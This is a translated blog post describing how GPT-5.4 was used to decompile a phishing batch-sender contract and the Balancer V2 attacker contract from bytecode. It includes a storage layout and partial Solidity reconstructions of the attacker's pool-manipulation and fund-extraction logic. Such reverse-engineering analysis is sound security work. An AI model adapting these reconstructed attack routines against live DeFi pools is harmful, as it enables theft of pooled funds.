利用 GPT-5.4 反编译字节码

  • jaczkal
  • 发布于 16小时前
  • 阅读 731

本文介绍了作者如何利用GPT-5.4反编译以太坊智能合约字节码的实验。文章通过分析一个钓鱼合约和Balancer V2攻击者的合约,详细阐述了GPT-5.4如何结合Etherscan、函数签名数据库和运行时嵌入字符串等多种工具,逐步推理并重构合约行为及背后的攻击逻辑。

image.png

这始于一个好奇的实验,在我听说从纯字节码反编译一个未验证的智能合约应该很简单之后。所以我想找出“简单”在实践中到底意味着什么。

我粘贴了一段原始字节码,并向 GPT-5.4 提出了一个直接问题:

请反编译此 EVM 字节码

第一个合约足够小,感觉像是一个很好的热身。紧接着,我粘贴了第二个大得多的字节码块,并基本上说:好吧,这个怎么样?

第二步让整个事情变得有趣起来。它展示了 Balancer V2 上的攻击者合约是什么样子。

第一次尝试:LLM 处理的第一个合约

我开始在 Etherscan 上搜索一些未验证的合约(没想到现在这么难找!),点击了几次后,我看到了一个钓鱼合约,地址是:https://etherscan.io/address/0xc727eb69ccf89d5911042f21be25a193d67e2c23#code。字节码本身很短,这使其成为 GPT 处理的完美第一个示例。

GPT 首先查看了调度器,并识别出两个公共选择器:

  • 0x13d06a4c
  • 0xf851a440

这通常是一个好兆头,表明合约的范围很窄,没有太多活动部件。

从那时起,它很快就重建了重要的行为:

  • 一个函数返回一个硬编码的控制器地址
  • 一个函数接受三个数组
  • 调用者必须是那个硬编码的控制器
  • 数组长度必须匹配
  • 循环根据代币地址是否为零来发送 ETH 或调用 ERC20.transfer(...)

这足以将合约重建为一个非常小的、由所有者控制的批量发送器。

用类似 Solidity 的伪代码表示,它基本上是:

contract BatchSender {
    address public controller;

    function batchSend(address[] calldata recipients, uint256[] calldata amounts, address[] calldata tokens) external {
        require(msg.sender == controller, "Only controller can call");
        require(recipients.length == amounts.length && amounts.length == tokens.length, "Array length mismatch");

        for (uint256 i = 0; i < recipients.length; i++) {
            if (tokens[i] == address(0)) {
                payable(recipients[i]).transfer(amounts[i]);
            } else {
                IERC20(tokens[i]).transfer(recipients[i], amounts[i]);
            }
        }
    }
}

就是这样,我们看到了钓鱼合约的批量发送功能,它发送了 28 万笔交易,在撰写本文时,仍有 19 笔待处理。

嗯,批量发送功能让我想起了别的东西...

第二个字节码块

第二个字节码是 Balancer 攻击者的合约:https://etherscan.io/address/0x54b53503c0e2173df29f8da735fbd45ee8aba30d#code。所以我再次将字节码放入提示中并按下回车键。

首先,我给它字节码,让它从调度器中识别公共选择器。然后它查找了任何具有已知签名匹配的选择器,扫描运行时以查找嵌入的字符串(你好,控制台日志),将外部调用映射到已知协议,并检查相关交易,以便调用数据形状不再抽象。

只有在那之后,我才要求它重建自定义函数。这种排序产生了巨大的影响。如果我过早地要求进行完整的解释,大部分有趣的部分都将是带着自信语言的猜测。

Image

分析过程中使用的工具

这是我发现最有用的部分之一:没有神奇的“反编译”按钮。GPT 通过将几个较小的线索堆叠在一起才得到答案。

Etherscan

Etherscan 在这个过程中做了很多繁重的工作。不是因为它以某种方式为我解释了合约,而是因为它让 GPT 能够在代码、交易、辅助合约和创建流程之间移动而不会丢失上下文。最有用的通常不是代码标签本身,而是页面之间的关系:辅助合约是由更大的合约创建的,提取交易准确地显示了调用了哪个选择器以及调用数据是什么样子。这是原始反编译器本身无法提供的那种上下文,而 GPT 很好地利用了它。

4byte / 函数签名数据库

这是整个会话中最快的胜利之一。每当 GPT 看到一个选择器时,它都会检查是否存在已知的签名匹配。这立即为 failed()IS_TEST()callTx(address,uint256,bytes)getPoolId()getBptIndex()getScalingFactors()getRateProviders()getActualSupply()getAmplificationParameter()getSwapFeePercentage()getRate()getPoolTokens(bytes32)getInternalBalance(address,address[])manageUserBalance(...)batchSwap(...) 等提供了精确或高置信度的名称。

这改变了整个问题。我不再看一个随机的合约。GPT 有效地表明,字节码正在说一种非常特定的语言,而这种语言就是 Balancer。模式匹配再次发挥了巨大作用...

运行时中嵌入的字符串

这是最有趣的部分之一。字节码包含可读字符串,如 Doing BatchpoolRate0poolRate1trickAmttrickRatetrickIndexnonTrickIndexcurrentAmpstartBalancesiAsset DeltasiEnding Invariant。这种线索将逆向工程从抽象的字节码追踪变成了更人性化的东西。

这些字符串告诉我,GPT 也证实了,我可能正在查看调试导向的代码,用于在某些批量操作之前和之后测量费率、余额和不变量相关的值。即使没有任何公开的漏洞利用报告,这已经表明它更像是一个实验工具或攻击协调器,而不是一个正常的生产包装器。

利用事件报告

我发现特别有趣的一点是:如果我假装 Balancer 的公开事后分析报告不存在,我仍然能从合约、辅助合约和链上追踪中推断出多少信息?

实际上,相当多。

合约不再显得随机的时刻

在较大的合约中,最大的早期线索实际上根本不是 Balancer。它是 Foundry。

GPT 发现字节码暴露了一组选择器,匹配 failed()IS_TEST()targetSelectors()excludeSelectors()targetContracts()excludeContracts()targetArtifacts()excludeArtifacts()targetSenders()excludeSenders()targetInterfaces() 等。这立即改变了我阅读合约其余部分的方式。如果我假设这是一个干净的生产部署,我就会将许多辅助逻辑误读为业务逻辑。

相反,合约开始更像三层堆叠在一起:一个 Foundry 风格的测试或不变量工具表面,一个所有者控制的编排层,以及一个更具体的协议逻辑层。

Balancer 调用开始对齐

一旦 GPT 映射了外部选择器,合约就开始讲述一个更清晰的故事。它正在读取池 ID、BPT 索引、缩放因子、费率提供者、实际供应量、放大参数、兑换费率百分比和费率。它还在调用 Vault 方法来获取池代币、读取合约的内部余额、管理用户余额和执行 batchSwap

这不是通用的 DeFi 管道。这是高度特定的行为。即使没有任何公开的漏洞利用上下文,仅凭这一点也会让我说:这个合约是专门为检查和操纵 Balancer 池状态而构建的,而不是作为通用的 DeFi 聚合器或钱包工具。

辅助合约让故事清晰起来

较小的辅助合约是一个重要的部分,因为它证实了较大的合约并非独立运作。它有两个授权调用者,一个公共选择器 0x524c9e20,对余额数组和缩放因子进行算术密集型逻辑,以及 Balancer 风格的 revert 格式。这看起来完全像一个数学探测器。

这就是缺失的环节。较大的合约不仅在读取池状态和执行兑换。它还在反复探测一个辅助合约,该合约似乎在算术边界附近评估候选值。在这一点上,即使没有任何公开的报告,我认为在攻击发生前的合理结论是:这看起来像是一个专门的研究或攻击工具,用于在 Balancer 池中寻找有利可图或不稳定的状态。

交易数据比我预期的更有帮助

GPT 提取的最有用的信息之一是提取交易。

选择器 0x8a4f75d6 的调用数据非常清晰地解码为:

[
  "0x000000000000000000000000a13ea42a0076a086423984d204581177b944b0e5", // pool address 1
  "0x000000000000000000000000a13ea42a0076a086423984d204581177b944b0e5", // pool address 2
  // ... many more pool addresses
]

这立即告诉我,一个自定义函数不是某个抽象的池数学入口点。它是一个所有者专属函数,遍历池地址。

一旦 GPT 追踪到该函数在内部做了什么,其形状就显而易见:设置当前池,获取池 ID,从 Vault 获取池代币,读取合约对这些资产的内部余额,构建 UserBalanceOp[],调用 manageUserBalance(...),然后从 Vault 中提取余额。换句话说,它看起来像一个提取路径。

这正是将模糊重建转化为强有力重建的线索,因为现在合约不再像一个良性的分析辅助工具。它看起来像一个具有设置阶段、操纵阶段和提款阶段的系统。

重建未知的自定义函数

并非所有选择器都在公共数据库中,所以这是 GPT 必须从精确匹配转向根据调用数据形状、存储效果和控制流进行推断的时刻。

三个重要的未知数是 0x8a4f75d60x60e087db0x77e0735d

0x8a4f75d6 是最简单的,因为提取交易直接调用了它。这让我大致重建了它:

function extractFunds(address[] calldata poolAddresses) external onlyOwner {
    for (uint256 i = 0; i < poolAddresses.length; i++) {
        // Set current pool context
        // Get pool ID
        // Fetch pool tokens from Vault
        // Read contract's internal balances for those assets
        // Build UserBalanceOp[]
        // Call manageUserBalance(...) to withdraw
        // Pull balances back out of the Vault
    }
}

另外两个看起来像是两种场景运行器,每个都大致接受 (address,uint256,uint256,address,uint256,uint256)。GPT 最好的解读是,一个运行场景 A 并可选地运行场景 B,而另一个缓存场景 B 并首先运行场景 A。

这不足以恢复原始名称,但足以恢复行为角色,在逆向工程中,这通常是更重要的里程碑。

内部例程是真正的核心

经过足够的追踪后,大型内部例程不再显得神秘,而是开始显得程序化。首先,它设置了当前池上下文并读取了大量 Balancer 元数据:池 ID、BPT 索引、缩放因子、费率提供者、实际供应量、放大、兑换费和费率。然后,它批准池代币给 Vault,构建似乎排除或特殊处理 BPT 头寸的内部数组,并反复使用候选值调用辅助合约。

只有在所有这些之后,它才构建 BatchSwapStep[]、资产和限制,然后执行精心制作的 batchSwap(...)。调试字符串表明它随后测量或发出了池费率、所选的“trick”金额和索引、当前放大、起始余额、结束余额、资产增量以及某种结束不变量的值。最后,在后期阶段,可以通过内部余额提取价值。

我认为合约的真实面貌

我最终的解释,仅基于 GPT-5.4 从字节码和它提取的链上证据中重建的信息,是较大的合约不仅仅是一个专门构建的 Balancer 协调器。更具体地说,它看起来像是一个模糊测试或不变量测试设置的已部署后代,已经演变为可操作的东西。

Foundry 风格的表面是我开始这样思考的第一个原因。辅助合约是第二个。提取路径是第三个。综合起来,整个系统看起来不像一个为了最终交易而精心最小化的漏洞利用合约。它看起来像研究基础设施,在部署的工件中仍然可见。

这不一定意味着攻击者部署了他们本地使用的完全相同的模糊测试工具。我认为更谨慎的说法是:他们可能通过模糊测试、不变量测试或对抗性实验发现了或完善了攻击,而部署的合约仍然保留了大量的这种脚手架。换句话说,它看起来不像一个精美的最终有效载荷,而更像是一个帮助发现漏洞的工具的武器化后代。

存储布局

这是最有用的实际布局,而不是精确的编译器映射。

// Foundry invariant harness state
address[] excludeSenders;          // slot 0x15
address[] targetSenders;           // slot 0x16
address[] targetContracts;         // slot 0x17
address[] excludeContracts;        // slot 0x18
string[]  targetArtifacts;         // slot 0x19
string[]  excludeArtifacts;        // slot 0x1a
// slot 0x1b..0x1e: selector/interface config arrays

// packed owner + test flag
address owner;                     // packed in slot 0x1f
bool isTest;                       // packed in slot 0x1f

// exploit-specific state
address helper;                    // slot 0x21
address vault;                     // slot 0x22
address currentPool;               // slot 0x23
bytes32 currentPoolId;             // slot 0x24
uint256 bptIndex;                  // slot 0x25
uint256 trickIndex;                // slot 0x26, likely
uint256 derivedAmount;             // slot 0x27
uint256 derivedAmount2;            // slot 0x28
uint256 mode;                      // slot 0x29
uint256 currentAmp;                // slot 0x2a
uint256 trickRate;                 // slot 0x2b, likely
uint8[] nonBptFlags;               // slot 0x2c
// slot 0x2e..0x30: batchSwap / fund management config
uint256 scenarioParam1;            // slot 0x31
uint256 scenarioParam2;            // slot 0x32
uint256 tokenCountExcludingBpt;    // slot 0x33
uint256 base;                      // slot 0x34 = 2
uint256 width;                     // slot 0x35 = 4
uint256 groupSize;                 // slot 0x36 = 3

bool hasDeferredScenario;          // slot 0x39
address deferredPool;              // slot 0x3a
uint256 deferredParam1;            // slot 0x3b
uint256 deferredParam2;            // slot 0x3c

辅助合约重建

pragma solidity 0.7.6;

contract BalancerMathProbe {
    address public auth0;
    address public auth1;

    modifier onlyAuthorized() {
        require(msg.sender == auth0 || msg.sender == auth1, "X");
        _;
    }

    // Parameter names are reconstructed from behavior and public writeups.
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external view onlyAuthorized returns (uint256) {
        uint256[] memory scaled = new uint256[](scalingFactors.length);
        for (uint256 i = 0; i < scalingFactors.length; i++) {
            scaled[i] = balances[i] * scalingFactors[i] / 1e18;
        }

        uint256 invariantish = _computeInvariantish(ampLike, scaled);
        uint256 manipulated = _computeManipulatedOutput(
            scaled,
            indexIn,
            indexOut,
            amountGiven,
            invariantish,
            swapFeeLike
        );

        return manipulated;
    }

    // Internal helpers use checked math and may revert with BAL#004.
}

主合约重建

pragma solidity 0.7.6;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IVault {
    struct BatchSwapStep {
        bytes32 poolId;
        uint256 assetInIndex;
        uint256 assetOutIndex;
        uint256 amount;
        bytes userData;
    }

    struct FundManagement {
        address sender;
        bool fromInternalBalance;
        address payable recipient;
        bool toInternalBalance;
    }

    struct UserBalanceOp {
        uint8 kind;
        address asset;
        uint256 amount;
        address sender;
        address payable recipient;
    }

    function getPoolTokens(bytes32 poolId)
        external
        view
        returns (address[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);

    function getInternalBalance(address user, address[] memory tokens)
        external
        view
        returns (uint256[] memory balances);

    function manageUserBalance(UserBalanceOp[] memory ops) external;

    function batchSwap(
        uint8 kind,
        BatchSwapStep[] memory swaps,
        address[] memory assets,
        FundManagement memory funds,
        int256[] memory limits,
        uint256 deadline
    ) external returns (int256[] memory assetDeltas);
}

interface IComposableStablePool {
    function getPoolId() external view returns (bytes32);
    function getBptIndex() external view returns (uint256);
    function getScalingFactors() external view returns (uint256[] memory);
    function getRateProviders() external view returns (address[] memory);
    function getActualSupply() external view returns (uint256);
    function getAmplificationParameter() external view returns (uint256, bool, uint256);
    function getSwapFeePercentage() external view returns (uint256);
    function getRate() external view returns (uint256);
}

interface IProbeHelper {
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external returns (uint256);
}

contract BalancerCoordinatorLike {
    address public owner;
    bool public IS_TEST;

    address public helper;
    address public vault;
    address public currentPool;
    bytes32 public currentPoolId;
    uint256 public bptIndex;

    bool internal hasDeferredScenario;
    address internal deferredPool;
    uint256 internal deferredP1;
    uint256 internal deferredP2;

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    receive() external payable {}

    // Exact selector known.
    function callTx(address to, uint256 value, bytes calldata data) external onlyOwner {
        (bool ok,) = to.call{value: value}(data);
        require(ok, "raw call failed");
    }

    // Foundry test helper.
    function failed() external returns (bool) {
        // Falls back to hevm.load(...) in test mode.
        return false;
    }

    // Custom selector 0x60e087db
    function fn_0x60e087db(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        hasDeferredScenario = true;
        deferredPool = pool1;
        deferredP1 = p11;
        deferredP2 = p21;

        _runScenario(pool0, p10, p20);
    }

    // Custom selector 0x77e0735d
    function fn_0x77e0735d(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        _runScenario(pool0, p10, p20);
        if (pool1 != address(0)) {
            _runScenario(pool1, p11, p21);
        }
    }

    // Exact calldata shape confirmed by extraction tx.
    function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner {
        for (uint256 i = 0; i < pools.length; i++) {
            currentPool = pools[i];
            currentPoolId = IComposableStablePool(pools[i]).getPoolId();

            (address[] memory tokens,,) = IVault(vault).getPoolTokens(currentPoolId);
            uint256[] memory internalBalances = IVault(vault).getInternalBalance(address(this), tokens);

            IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);
            for (uint256 j = 0; j < tokens.length; j++) {
                ops[j] = IVault.UserBalanceOp({
                    kind: 1,
                    asset: tokens[j],
                    amount: internalBalances[j],
                    sender: address(this),
                    recipient: payable(address(this))
                });
            }

            IVault(vault).manageUserBalance(ops);

            // The real bytecode emits many debug logs here and checks post-withdraw balances.
            for (uint256 j = 0; j < tokens.length; j++) {
                IERC20(tokens[j]).balanceOf(address(this));
            }
        }
    }

    function _runScenario(address pool, uint256 p1, uint256 p2) internal {
        currentPool = pool;
        // Likely Foundry-style debug instrumentation preserved in deployment.
        // In real source this may have been `console.log(...)` from forge-std.
        console.log("Pool", pool);
        console.log("Start.");
        currentPoolId = IComposableStablePool(pool).getPoolId();
        bptIndex = IComposableStablePool(pool).getBptIndex();

        (address[] memory tokens, uint256[] memory startBalances,) = IVault(vault).getPoolTokens(currentPoolId);
        for (uint256 i = 0; i < tokens.length; i++) {
            console.log("mytoken i", tokens[i]);
            IERC20(tokens[i]).approve(vault, type(uint256).max);
        }

        uint256[] memory scalingFactors = IComposableStablePool(pool).getScalingFactors();
        address[] memory rateProviders = IComposableStablePool(pool).getRateProviders();
        uint256 actualSupply = IComposableStablePool(pool).getActualSupply();
        (uint256 amp,,) = IComposableStablePool(pool).getAmplificationParameter();
        uint256 swapFee = IComposableStablePool(pool).getSwapFeePercentage();
        uint256 poolRate = IComposableStablePool(pool).getRate();
        console.log("currentAmp", amp);

        // poolRate0 / poolRate1 most likely correspond to the primary and
        // secondary scenario when two pools are being driven in one run.
        if (hasDeferredScenario) {
            console.log("poolRate0", poolRate);
        } else {
            console.log("poolRate1", poolRate);
        }

        // Real bytecode derives several indices and builds a compact flag array excluding the BPT.
        // It also chooses one "trick" index and one "nonTrick" index.
        uint256 trickIndex = _guessIndexIn();
        uint256 nonTrickIndex = _guessIndexOut();
        console.log("trickIndex", trickIndex);
        console.log("nonTrickIndex", nonTrickIndex);

        uint256[] memory candidateAmts = _buildCandidateAmounts(tokens.length, p1, p2);
        if (candidateAmts.length > 0) {
            console.log("trickAmt", candidateAmts[0]);
        }

        // Probe helper repeatedly with different candidates.
        uint256 lastProbe;
        for (uint256 i = 0; i < candidateAmts.length; i++) {
            lastProbe = IProbeHelper(helper).fn_0x524c9e20(
                scalingFactors,
                _readPoolBalances(currentPoolId),
                trickIndex,
                nonTrickIndex,
                candidateAmts[i],
                amp,
                swapFee
            );
        }
        console.log("trickRate", lastProbe);

        // Construct batch swaps.
        IVault.BatchSwapStep[] memory steps = _buildSwapSteps(candidateAmts);
        address[] memory assets = tokens;
        int256[] memory limits = _buildLimits(assets.length);

        IVault.FundManagement memory funds = IVault.FundManagement({
            sender: address(this),
            fromInternalBalance: false,
            recipient: payable(address(this)),
            toInternalBalance: true
        });

        console.log("Doing Batch");
        IVault(vault).batchSwap(
            1,
            steps,
            assets,
            funds,
            limits,
            block.timestamp
        );

        // These labels likely sat in loops over balances / deltas after the swap.
        uint256[] memory endBalances = _readPoolBalances(currentPoolId);
        for (uint256 i = 0; i < endBalances.length; i++) {
            console.log("startBalancesi", startBalances[i]);
            console.log("end__balances[i]", endBalances[i]);
            if (endBalances[i] >= startBalances[i]) {
                console.log("Asset Deltasi", endBalances[i] - startBalances[i]);
            } else {
                console.log("Asset Deltasi", startBalances[i] - endBalances[i]);
            }
            console.log("mybal i", IERC20(tokens[i]).balanceOf(address(this)));
        }

        // If fn_0x60e087db cached a second scenario, append or run it after the current one.
        if (hasDeferredScenario) {
            hasDeferredScenario = false;
            address nextPool = deferredPool;
            uint256 nextP1 = deferredP1;
            uint256 nextP2 = deferredP2;
            deferredPool = address(0);
            deferredP1 = 0;
            deferredP2 = 0;
            _runScenario(nextPool, nextP1, nextP2);
        }

        // "Ending Invariant" likely logged after all state comparisons.
        console.log("Ending Invariant", _computeInvariantLike(endBalances, amp));
        actualSupply;
        rateProviders;
        poolRate;
    }

    function _readPoolBalances(bytes32 poolId) internal view returns (uint256[] memory balances) {
        (, balances,) = IVault(vault).getPoolTokens(poolId);
    }
  • 原文链接: x.com/jaczkal/status/203...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 1
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
jaczkal
jaczkal
江湖只有他的大名,没有他的介绍。